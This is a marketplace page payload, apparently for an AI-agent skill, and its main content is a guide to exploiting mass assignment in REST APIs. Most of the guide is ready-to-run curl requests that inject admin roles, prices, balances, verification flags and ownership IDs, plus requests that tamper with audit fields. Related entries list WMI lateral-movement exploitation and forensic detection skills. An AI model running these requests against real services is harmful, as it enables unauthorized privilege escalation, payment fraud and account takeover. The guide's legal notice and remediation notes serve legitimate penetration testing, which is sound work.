[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71GQCVD8D5TH67AVMBMAD3V":3,"skill-same:01M71GQCVD8D5TH67AVMBMAD3V":100},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":28,"publishedAt":49,"linkOnly":50,"markdownContent":51,"markdownBody":52,"frontMatter":53,"refName":73,"commitSha":74,"skillDirectory":75,"forksCount":14,"repositoryHtmlUrl":76,"repositoryHomepageUrl":6,"ownerHtmlUrl":77,"ownerBlogUrl":6,"ownerDescription":78,"updatedAt":79,"install":80,"resources":93},"01M71GQCVD8D5TH67AVMBMAD3V","api-mass-exploit",null,"Discover and exploit mass assignment vulnerabilities in REST APIs to escalate privileges, modify restricted fields, and bypass authorization controls by injecting unexpected parameters in API requests.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fapi\u002Fmass\u002Fexploit\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":26,"taxonomyTypeDesc":27},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48],"api","exploit","api mass exploit","escalation","web-application-security","sonnet","security","owasp","injection","read","de","Bash","cybersecurity","api-security","cm","discover","owasp-api","parameter-injection","autobinding","rest-api","2026-11-10 10:12:30",false,"---\nname: api-mass-exploit\ndescription: Discover and exploit mass assignment vulnerabilities in REST APIs to escalate privileges, modify restricted fields, and bypass authorization controls by injecting unexpected parameters in API requests.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- mass-assignment\n- api-security\n- privilege-escalation\n- rest-api\n- autobinding\n- parameter-injection\n- owasp-api\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1068\ncwe:\n- CWE-269\n- CWE-915\ncapec: []\n---\n\n# Exploiting Mass Assignment in REST APIs\n\n## When to Use\n- When testing REST APIs that accept JSON input for creating or updating resources\n- During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)\n- When testing user registration, profile update, or account management endpoints\n- During bug bounty hunting on applications with CRUD API operations\n- When evaluating role-based access control implementation in API-driven applications\n\n## Prerequisites\n- Burp Suite or Postman for API request crafting and interception\n- Understanding of ORM auto-binding behavior in common frameworks\n- API documentation or endpoint discovery through reconnaissance\n- Multiple user accounts with different privilege levels for testing\n- Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)\n- Arjun or param-miner for hidden parameter discovery\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Discover API Structure and Fields\n```bash\n# Examine API responses to identify all object fields\ncurl -H \"Authorization: Bearer USER_TOKEN\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme | jq .\n# Response reveals fields: id, username, email, role, isAdmin, verified, balance\n\n# Check API documentation for exposed schemas\ncurl http:\u002F\u002Ftarget.com\u002Fapi\u002Fdocs\ncurl http:\u002F\u002Ftarget.com\u002Fswagger.json\ncurl http:\u002F\u002Ftarget.com\u002Fopenapi.yaml\n\n# Use Arjun for hidden parameter discovery\narjun -u http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme -m JSON -H \"Authorization: Bearer USER_TOKEN\"\n\n# Examine create\u002Fupdate request body vs response body\n# The response may contain more fields than the request sends\n# Those extra fields are mass assignment candidates\n```\n\n### Step 2 — Test Privilege Escalation via Role Fields\n```bash\n# Inject role\u002Fadmin fields in profile update\ncurl -X PUT http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"testuser\",\"email\":\"test@test.com\",\"role\":\"admin\"}'\n\n# Try common admin field names\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"isAdmin\":true}'\n\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"is_admin\":true,\"admin\":true,\"role\":\"superadmin\",\"user_type\":\"admin\",\"privilege_level\":99}'\n\n# Test during registration\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fregister \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"newadmin\",\"password\":\"pass123\",\"email\":\"admin@evil.com\",\"role\":\"admin\",\"isAdmin\":true}'\n```\n\n### Step 3 — Test Financial and Business Logic Fields\n```bash\n# Modify price or balance fields\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Forders \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"product_id\":1,\"quantity\":1,\"price\":0.01}'\n\n# Modify account balance\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fwallet \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"balance\":999999}'\n\n# Modify discount or coupon fields\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fcheckout \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"cart_id\":123,\"discount_percent\":100,\"coupon_code\":\"NONE\"}'\n\n# Modify subscription tier\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fsubscription \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"plan\":\"enterprise\",\"price\":0}'\n```\n\n### Step 4 — Test Verification and Status Fields\n```bash\n# Bypass email verification\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email_verified\":true,\"verified\":true,\"active\":true}'\n\n# Modify account status\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"status\":\"active\",\"banned\":false,\"suspended\":false}'\n\n# Modify ownership\u002Forganization\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"organization_id\":\"target-org-uuid\",\"team_id\":\"admin-team\"}'\n```\n\n### Step 5 — Test Relationship and Foreign Key Manipulation\n```bash\n# Change resource ownership\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fdocuments\u002F123 \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"owner_id\":\"admin-user-id\"}'\n\n# Assign to different group\u002Fteam\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fprojects\u002F456 \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"team_id\":\"privileged-team\",\"access_level\":\"write\"}'\n\n# Modify created_at\u002Fupdated_at for audit log manipulation\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fentries\u002F789 \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"created_at\":\"2020-01-01\",\"created_by\":\"other-user-id\"}'\n```\n\n### Step 6 — Automate Mass Assignment Testing\n```bash\n# Use Burp Intruder with field names wordlist\n# Wordlist of common mass assignment fields:\n# role, admin, isAdmin, is_admin, user_type, privilege, level\n# verified, email_verified, active, banned, suspended\n# balance, credits, price, discount, plan, tier\n# owner_id, organization_id, team_id, group_id\n\n# Python automation script\npython3 mass_assignment_tester.py \\\n  --url http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  --method PATCH \\\n  --token \"Bearer USER_TOKEN\" \\\n  --fields-file mass_assignment_fields.txt\n\n# Nuclei mass assignment plugins\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fmass-assignment.yaml\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Mass Assignment | ORM auto-binding of request parameters to model attributes without restriction |\n| Autobinding | Framework feature that maps HTTP parameters directly to object properties |\n| Allowlist | Server-side list of permitted fields for update operations (strong_parameters in Rails) |\n| Denylist | List of forbidden fields (less secure than allowlist approach) |\n| Hidden Fields | Server-managed fields (role, balance) not shown in forms but accepted by API |\n| DTO (Data Transfer Object) | Pattern using separate objects for input vs. database to prevent mass assignment |\n| Parameter Pollution | Sending unexpected extra parameters alongside legitimate ones |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | API request interception and parameter injection |\n| Postman | API testing and collection-based mass assignment testing |\n| Arjun | Hidden parameter discovery tool for API endpoints |\n| param-miner | Burp extension for discovering hidden parameters |\n| OWASP ZAP | Automated API scanning with parameter injection |\n| swagger-codegen | Generate API clients from OpenAPI specs for testing |\n\n## Common Scenarios\n\n1. **Admin Privilege Escalation** — Inject `\"role\":\"admin\"` or `\"isAdmin\":true` in profile update to gain administrative access\n2. **Price Manipulation** — Modify `price` or `discount` fields in order creation endpoints to purchase items at reduced cost\n3. **Email Verification Bypass** — Set `email_verified:true` during registration or profile update to bypass verification requirements\n4. **Account Takeover** — Modify `email` or `phone` fields to attacker-controlled values, then trigger password reset\n5. **Subscription Upgrade** — Inject `plan:\"enterprise\"` in subscription update to gain premium features without payment\n\n## Output Format\n\n```\n## Mass Assignment Vulnerability Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme\n- **Method**: PATCH\n- **Framework**: Ruby on Rails (detected via X-Powered-By)\n\n### Findings\n| # | Endpoint | Injected Field | Original | Modified | Impact |\n|---|----------|---------------|----------|----------|--------|\n| 1 | PATCH \u002Fapi\u002Fusers\u002Fme | role | \"user\" | \"admin\" | Privilege Escalation |\n| 2 | POST \u002Fapi\u002Forders | price | 99.99 | 0.01 | Financial Loss |\n| 3 | PATCH \u002Fapi\u002Fusers\u002Fme | email_verified | false | true | Verification Bypass |\n\n### Remediation\n- Implement allowlist (strong_parameters) for all model update operations\n- Use DTOs\u002FViewModels to decouple API input from database models\n- Apply field-level authorization checks on sensitive attributes\n- Log and alert on attempts to modify restricted fields\n```\n","# Exploiting Mass Assignment in REST APIs\n\n## When to Use\n- When testing REST APIs that accept JSON input for creating or updating resources\n- During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)\n- When testing user registration, profile update, or account management endpoints\n- During bug bounty hunting on applications with CRUD API operations\n- When evaluating role-based access control implementation in API-driven applications\n\n## Prerequisites\n- Burp Suite or Postman for API request crafting and interception\n- Understanding of ORM auto-binding behavior in common frameworks\n- API documentation or endpoint discovery through reconnaissance\n- Multiple user accounts with different privilege levels for testing\n- Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)\n- Arjun or param-miner for hidden parameter discovery\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Discover API Structure and Fields\n```bash\n# Examine API responses to identify all object fields\ncurl -H \"Authorization: Bearer USER_TOKEN\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme | jq .\n# Response reveals fields: id, username, email, role, isAdmin, verified, balance\n\n# Check API documentation for exposed schemas\ncurl http:\u002F\u002Ftarget.com\u002Fapi\u002Fdocs\ncurl http:\u002F\u002Ftarget.com\u002Fswagger.json\ncurl http:\u002F\u002Ftarget.com\u002Fopenapi.yaml\n\n# Use Arjun for hidden parameter discovery\narjun -u http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme -m JSON -H \"Authorization: Bearer USER_TOKEN\"\n\n# Examine create\u002Fupdate request body vs response body\n# The response may contain more fields than the request sends\n# Those extra fields are mass assignment candidates\n```\n\n### Step 2 — Test Privilege Escalation via Role Fields\n```bash\n# Inject role\u002Fadmin fields in profile update\ncurl -X PUT http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"testuser\",\"email\":\"test@test.com\",\"role\":\"admin\"}'\n\n# Try common admin field names\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"isAdmin\":true}'\n\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"is_admin\":true,\"admin\":true,\"role\":\"superadmin\",\"user_type\":\"admin\",\"privilege_level\":99}'\n\n# Test during registration\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fregister \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"newadmin\",\"password\":\"pass123\",\"email\":\"admin@evil.com\",\"role\":\"admin\",\"isAdmin\":true}'\n```\n\n### Step 3 — Test Financial and Business Logic Fields\n```bash\n# Modify price or balance fields\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Forders \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"product_id\":1,\"quantity\":1,\"price\":0.01}'\n\n# Modify account balance\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fwallet \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"balance\":999999}'\n\n# Modify discount or coupon fields\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fcheckout \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"cart_id\":123,\"discount_percent\":100,\"coupon_code\":\"NONE\"}'\n\n# Modify subscription tier\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fsubscription \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"plan\":\"enterprise\",\"price\":0}'\n```\n\n### Step 4 — Test Verification and Status Fields\n```bash\n# Bypass email verification\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email_verified\":true,\"verified\":true,\"active\":true}'\n\n# Modify account status\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"status\":\"active\",\"banned\":false,\"suspended\":false}'\n\n# Modify ownership\u002Forganization\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"organization_id\":\"target-org-uuid\",\"team_id\":\"admin-team\"}'\n```\n\n### Step 5 — Test Relationship and Foreign Key Manipulation\n```bash\n# Change resource ownership\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fdocuments\u002F123 \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"owner_id\":\"admin-user-id\"}'\n\n# Assign to different group\u002Fteam\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fprojects\u002F456 \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"team_id\":\"privileged-team\",\"access_level\":\"write\"}'\n\n# Modify created_at\u002Fupdated_at for audit log manipulation\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fentries\u002F789 \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"created_at\":\"2020-01-01\",\"created_by\":\"other-user-id\"}'\n```\n\n### Step 6 — Automate Mass Assignment Testing\n```bash\n# Use Burp Intruder with field names wordlist\n# Wordlist of common mass assignment fields:\n# role, admin, isAdmin, is_admin, user_type, privilege, level\n# verified, email_verified, active, banned, suspended\n# balance, credits, price, discount, plan, tier\n# owner_id, organization_id, team_id, group_id\n\n# Python automation script\npython3 mass_assignment_tester.py \\\n  --url http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  --method PATCH \\\n  --token \"Bearer USER_TOKEN\" \\\n  --fields-file mass_assignment_fields.txt\n\n# Nuclei mass assignment plugins\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fmass-assignment.yaml\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Mass Assignment | ORM auto-binding of request parameters to model attributes without restriction |\n| Autobinding | Framework feature that maps HTTP parameters directly to object properties |\n| Allowlist | Server-side list of permitted fields for update operations (strong_parameters in Rails) |\n| Denylist | List of forbidden fields (less secure than allowlist approach) |\n| Hidden Fields | Server-managed fields (role, balance) not shown in forms but accepted by API |\n| DTO (Data Transfer Object) | Pattern using separate objects for input vs. database to prevent mass assignment |\n| Parameter Pollution | Sending unexpected extra parameters alongside legitimate ones |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | API request interception and parameter injection |\n| Postman | API testing and collection-based mass assignment testing |\n| Arjun | Hidden parameter discovery tool for API endpoints |\n| param-miner | Burp extension for discovering hidden parameters |\n| OWASP ZAP | Automated API scanning with parameter injection |\n| swagger-codegen | Generate API clients from OpenAPI specs for testing |\n\n## Common Scenarios\n\n1. **Admin Privilege Escalation** — Inject `\"role\":\"admin\"` or `\"isAdmin\":true` in profile update to gain administrative access\n2. **Price Manipulation** — Modify `price` or `discount` fields in order creation endpoints to purchase items at reduced cost\n3. **Email Verification Bypass** — Set `email_verified:true` during registration or profile update to bypass verification requirements\n4. **Account Takeover** — Modify `email` or `phone` fields to attacker-controlled values, then trigger password reset\n5. **Subscription Upgrade** — Inject `plan:\"enterprise\"` in subscription update to gain premium features without payment\n\n## Output Format\n\n```\n## Mass Assignment Vulnerability Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme\n- **Method**: PATCH\n- **Framework**: Ruby on Rails (detected via X-Powered-By)\n\n### Findings\n| # | Endpoint | Injected Field | Original | Modified | Impact |\n|---|----------|---------------|----------|----------|--------|\n| 1 | PATCH \u002Fapi\u002Fusers\u002Fme | role | \"user\" | \"admin\" | Privilege Escalation |\n| 2 | POST \u002Fapi\u002Forders | price | 99.99 | 0.01 | Financial Loss |\n| 3 | PATCH \u002Fapi\u002Fusers\u002Fme | email_verified | false | true | Verification Bypass |\n\n### Remediation\n- Implement allowlist (strong_parameters) for all model update operations\n- Use DTOs\u002FViewModels to decouple API input from database models\n- Apply field-level authorization checks on sensitive attributes\n- Log and alert on attempts to modify restricted fields\n```\n",{"cwe":54,"name":5,"tags":57,"capec":60,"model":34,"tools":61,"domain":41,"maxTurns":65,"nist_csf":66,"subdomain":33,"description":7,"mitre_attack":71},[55,56],"CWE-269","CWE-915",[58,42,59,48,47,46,45],"mass-assignment","privilege-escalation",[],[62,40,63,64],"Read","Glob","Grep",20,[67,68,69,70],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[72],"T1068","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fweb-application\u002Fapi\u002Fmass\u002Fexploit","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":81,"prompt":91,"zipAvailable":92},[82,85,88],{"tool":83,"command":84},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill api-mass-exploit",{"tool":86,"command":87},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill api-mass-exploit",{"tool":89,"command":90},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill 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and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[108,109,110,111,112,39,43,113,114,115,116,117,118,119,120,121,122,41,123],"services","detect","services wmi persistence detect","wmi","persistence","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":128,"categories":129,"keywords":130,"publishedAt":49},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[30,108,131,111,132,133,134,41,40,135,136,137,138,139,39,140,141,38,142,143],"services wmi exec exploit","exec","remote","traffic","analysis","team","across","crackmapexec","native","command","lateral movement","lateral-movement","Impacket",{"skillNo":145,"name":146,"nameZh":6,"description":147,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":148,"categories":149,"keywords":150,"publishedAt":49},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[151,152,153,154,155,156,41,40,157,135,158,159,39,38,160,161,162,163,164,34],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":166,"name":167,"nameZh":6,"description":168,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":169,"categories":170,"keywords":171,"publishedAt":49},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege 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thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[192,193,109,37,174,176,194,43,195,177,41,123,135,29,196,197,198,184,39,113],"thread","processes thread injection detect","memory","process-injection","apc-injection","thread-injection","nt-api",{"skillNo":200,"name":201,"nameZh":6,"description":202,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":203,"categories":204,"keywords":205,"publishedAt":49},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[206,109,174,207,194,43,208,209,41,123,210,211,212,213,214,215,39,113,216,217],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]